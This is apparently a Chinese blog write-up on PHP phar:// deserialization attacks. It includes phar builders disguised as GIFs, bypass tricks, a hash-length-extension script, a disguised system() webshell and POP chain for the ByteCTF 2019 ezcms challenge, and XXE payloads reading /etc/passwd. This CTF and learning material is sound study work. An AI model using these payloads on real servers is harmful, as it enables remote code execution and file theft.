概要
來自Secarma的安全研究員Sam Thomas發現了一種新的漏洞利用方式,可以在不使用php函數unserialize()的前提下,引起嚴重的php對象注入漏洞。
這個新的攻擊方式被他公開在了美國的BlackHat會議演講上,演講主題為:”不為人所知的php反序列化漏洞”。它可以使攻擊者將相關漏洞的嚴重程度升級為遠程代碼執行。我們在RIPS代碼分析引擎中添加了對這種新型攻擊的檢測。
關於流包裝
大多數PHP文件操作允許使用各種URL協議去訪問文件路徑:如data://,zlib://或php://。
例如常見的
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file等函數可以用流協議處理
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
phar://也是流包裝的一種
phar原理
a stub
可以理解為一個標志,格式為xxx<?php xxx;__HALT_COMPILER();?>,前面內容不限,但必須以__HALT_COMPILER();?>來結尾,否則phar擴展將無法識別這個文件為phar文件。
官方手冊
phar的本質是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方

demo
根據文件結構我們來自己構建一個phar文件,php內置了一個Phar類來處理相關操作
注意:要將php.ini中的phar.readonly選項設置為Off,否則無法生成phar文件。
phar.php:
<?php class TestObject { } $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
訪問后,會生成一個phar.phar在當前目錄下

用winhex打開

可以明顯的看到meta-data是以序列化的形式存儲的。
有序列化數據必然會有反序列化操作,php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,測試后受影響的函數如下:

phar_fan.php
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
輸出

將phar偽造成其他格式的文件
在前面分析phar的文件結構時可能會注意到,php識別phar文件是通過其文件頭的stub,更確切一點來說是__HALT_COMPILER();?>這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將phar文件偽裝成其他格式的文件。
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設置stub,增加gif文件頭 $phar ->addFromString('test.txt','test'); //添加要壓縮的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //將自定義meta-data存入manifest $phar -> stopBuffering(); ?>

采用這種方法可以繞過很大一部分上傳檢測。(可以繞過exif_imagetype等函數判斷)
利用條件
phar文件要能夠上傳到服務器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函數
要有可用的魔術方法作為“跳板”。
文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
漏洞驗證
環境准備
upload_file.php,后端檢測文件上傳,文件類型是否為gif,文件后綴名是否為gifupload_file.html 文件上傳表單file_un.php 存在file_exists(),並且存在__destruct()
文件內容
upload_file.html
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> phar反序列化 </head> <body> <form action="http://127.0.0.1/Phartest/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
upload_file.php
<?php $tmp_file_location='E:/phpstudy/WWW/'; if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], $tmp_file_location."upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } ?>
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
實現過程
首先是根據file_un.php寫一個生成phar的php文件,當然需要繞過gif,所以需要加GIF89a,然后我們訪問這個php文件后,生成了phar.phar,修改后綴為gif,上傳到服務器,然后利用file_exists,使用phar://執行代碼
構造代碼
eval.php
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> statBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
注意設置 phar.readonly=0(發現phpstudy 5.4.455nts無法生成並且報錯,5.5.38可以)

訪問eval.php,查看創建的phar文件並且修改后綴為gif

用winhex打開查看,確實有序列化字符串,當用phar://偽協議讀取時,便會自動反序列化,引起phar://反序列化

接着上傳,文件會上傳到upload_file目錄下




文件上傳中的$_FILES數組
$_FILES['userfile']['name']客戶端機器文件的原名稱
$_FILES['userfile']['type']文件的 MIME 類型,如果瀏覽器提供此信息的話。一個例子是“image/gif”。不過此 MIME 類型在 PHP 端並不檢查,因此不要想當然認為有這個值
$_FILES['userfile']['size']已上傳文件的大小,單位為字節
$_FILES['userfile']['tmp_name']文件被上傳后在服務端儲存的臨時文件名
$_FILES['userfile']['error']和該文件上傳相關的錯誤代碼。此項目是在 PHP 4.2.0 版本中增加的。
修改臨時存儲文件目錄,在php.ini中設置:
找到指令 upload_tmp_dir:取消注釋該行並將其值更改為所需路徑,例如 "/var/tmp":
對於PHP 5.5和更高版本,請找到指令 sys_temp_dir:取消注釋該行並將其值更改為所需路徑,例如 "/var/tmp":
Phar拓展
根據陸隊的這篇文章SUCTF 2019 出題筆記 & phar 反序列化的一些拓展學習到了zsx師傅的Phar研究文章,發現了另外的一些觸發函數和陸隊自己的對於Phar的繞過trick研究和函數發現
最主要的是調用了php_stream_open_wrapper_ex

額外發現函數
exif exif_thumbnail exif_imagetype gd imageloadfont imagecreatefrom*** hash hash_hmac_file hash_file hash_update_file md5_file sha1_file file / url get_meta_tags get_headers standard getimagesize getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
ZIP
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
當然,pgsqlCopyToFile和pg_trace同樣也是能使用的,只是它們需要開啟phar的寫功能
MySQL
LOAD DATA LOCAL INFILE也會觸發這個php_stream_open_wrapper. 讓我們測試一下
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld
[mysqld] local-infile=1 secure_file_priv=""

膜兩位師傅 orz
繞過對phar://頭限制:
0x01 zsx師傅方法
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
0x02 陸隊方法
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')
復現bytectf_2019_ezcms
訪問獲得www.zip
- index.php頁面驗證登陸,可以任意賬號登陸到upload.php上傳頁面,但是只有admin賬號才能進行文件上傳。
- 訪問了upload.php·,就會在沙盒下生成一個.htaccess文件,內容為:lolololol, i control all。
- 上傳文件后,會返回文件的存儲路徑,view details可以進入view.php,會回顯文件的mime類型以及文件路徑。
- 因為目錄下的.htaccess被寫入了內容,無法解析,所以訪問上傳的文件會報500
題目環境由趙師傅搭建:https://github.com/glzjin/bytectf_2019_ezcms
docker compose失敗,既然失敗了,直接去趙師傅的buuctf做題吧
哈希長度擴展攻擊
直接http://59cf5320-5049-4368-a604-60236fc3fef2.node1.buuoj.cn/www.zip,下載整站源碼
index.php


只要密碼不為0,就能直接登陸進去,同時設置了一個cookie:hash(進入關鍵點)。然后進入upload.php
發現無法上傳文件提示u r not admin,於是跟進upload.php

upload.php

實例化了一個Admin類的對象。跟進Admin

發現調用了一個is_admin()函數,跟進查看

哈希擴展攻擊無疑了
結合上文的hash密文


構造cookie['user'] hash密文,和password
因為不是secret的長度
因此寫了個腳本放進kali里爆破長度,並且一個一個提交嘗試,如果能上傳,就是成功了
import requests,hashpumpy,urllib def webre(): sha='52107b08c0f3342d2153ae1d68e6262c' string0='admin' string1='pcat' for i in range(15): digest,message=hashpumpy.hashpump(sha,string0,string1,i) role=urllib.quote(message[::]) hsh=digest payload={'post':role,'hash':hsh} print(i,payload) webre()
(13, {'post': 'admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00pcat', 'hash': '976a9e80cb464a1e952b225d663c2edc'})
長度為13的時候成功執行,其實可以把腳本更完善不需要自己去測試,直接寫個files上傳和cookie['user']賦值。但是想想要先登陸,在復制和上傳檢查時候是admin,菜了。然后就自己手動測試了。
Phar反序列化
已經存在了.htaccess
隨便上傳一個圖片馬試試

有個過濾

這里有兩個攻擊思路
- phar反序列化將upload_file上傳到別的目錄,繞過sanbox中.htaccess的控制
- 事先上傳一個php馬兒,然后PHP反序列化刪除.htaccess文件
因為我們不知道臨時存儲的文件的目錄,因此只能用第二種思路。
我們看到view.php中有個File類,跟進File類


看到mime_content_type,上面寫到了有對文件的讀操作,因此可以調用phar反序列化

第一條思路已經行不通了,因此不能進入Admin類,無法實現目的。
看到了Profile類中的一個call魔術方法

查找下有什么open方法的內置類(看WP說是兩個還一個SessionHandler,不知道如何查到的)
ZipArchive
翻閱手冊發現open方法第一個參數為文件名,第二個為打開方式
ZipArchive::open ( string $filename [, int $flags ] ) : mixed

這種用overwrite方法,可以直接刪除.htaccess文件
OK,整條POP鏈構造完畢。
先通過view.php中的mime_content_type來進行phar反序列化,調用析構函數,new一個Proflie類再調用__call魔術方法,new一個ziparchive類,調用open方法,ziparchive::overwrite參數直接刪除.htaccess
先上傳一個過waf的馬兒
<?php $a="sy"."stem"; $a($_GET[0]);
再本地一個構造phar文件
<?php class File{ public $filename; public $filepath; public $checker; } class Profile{ public $username; public $password; public $admin; } $a=new File(); $a->checker=new Profile(); $a->checker->admin=new ZipArchive(); $a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess"; $a->checker->password=ZipArchive::OVERWRITE; $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $phar -> setMetadata($a); $phar -> stopBuffering(); ?>
上傳

踩坑記錄:、
哭了,上傳phar被過濾了,提示 `你讓我害怕`,winhex看到有個`,但是刪除`后,可能損壞了phar結構,又不行。於是換成php 7.0完全上傳解決問題。得跟上時代的潮流。暴捶自己一頓
通過php://filter繞過waf的檢測去觸發phar
http://603da113-ff3e-48ff-b305-60a7fd44852c.node1.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
成功刪除.htaccess

http://603da113-ff3e-48ff-b305-60a7fd44852c.node1.buuoj.cn/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/39ab6b7b4e9946f4fef4d99ee6be3446.php?0=cd%20/;cat%20flag

RSS
當時出這道題目的時候,就看出來了應該是XXE的題目,因為RSS是基於xml文檔的
知識點:百度就是弟弟,google才是哥哥
google RSS XXE會發現一篇文章
https://mikeknoop.com/lxml-xxe-exploit/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
雖然限制了域名,但是不像boringcode對於data://偽協議的過濾(https://www.jianshu.com/p/80ce73919edb)
猜測一下使用file_get_contents,呢么用data://協議寫入
並且php對mime類型不敏感。為了繞過域名的限制,將上面的payload base64加密一下,然后用data://偽協議傳入,讓其直接讀取
data://baidu.com/plain;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHRpdGxlIFsgPCFFTEVNRU5UIHRpdGxlIEFOWSA+CjwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0+Cjxyc3MgdmVyc2lvbj0iMi4wIiB4bWxuczphdG9tPSJodHRwOi8vd3d3LnczLm9yZy8yMDA1L0F0b20iPgo8Y2hhbm5lbD4KICAgIDx0aXRsZT5UaGUgQmxvZzwvdGl0bGU+CiAgICA8bGluaz5odHRwOi8vZXhhbXBsZS5jb20vPC9saW5rPgogICAgPGRlc2NyaXB0aW9uPkEgYmxvZyBhYm91dCB0aGluZ3M8L2Rlc2NyaXB0aW9uPgogICAgPGxhc3RCdWlsZERhdGU+TW9uLCAwMyBGZWIgMjAxNCAwMDowMDowMCAtMDAwMDwvbGFzdEJ1aWxkRGF0ZT4KICAgIDxpdGVtPgogICAgICAgIDx0aXRsZT4meHhlOzwvdGl0bGU+CiAgICAgICAgPGxpbms+aHR0cDovL2V4YW1wbGUuY29tPC9saW5rPgogICAgICAgIDxkZXNjcmlwdGlvbj5hIHBvc3Q8L2Rlc2NyaXB0aW9uPgogICAgICAgIDxhdXRob3I+YXV0aG9yQGV4YW1wbGUuY29tPC9hdXRob3I+CiAgICAgICAgPHB1YkRhdGU+TW9uLCAwMyBGZWIgMjAxNCAwMDowMDowMCAtMDAwMDwvcHViRGF0ZT4KICAgIDwvaXRlbT4KPC9jaGFubmVsPgo8L3Jzcz4=

利用php://filter協議來讀取文件內容
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> //修改php偽協議讀取源碼 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>The Blog</title> <link>http://example.com/</link> <description>A blog about things</description> <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate> <item> <title>&xxe;</title> //調用外部實體 <link>http://example.com</link> <description>a post</description> <author>author@example.com</author> <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate> </item> </channel> </rss>
參考資料:
https://xz.aliyun.com/t/2715(轉載)
明天學習phar拓展文章:
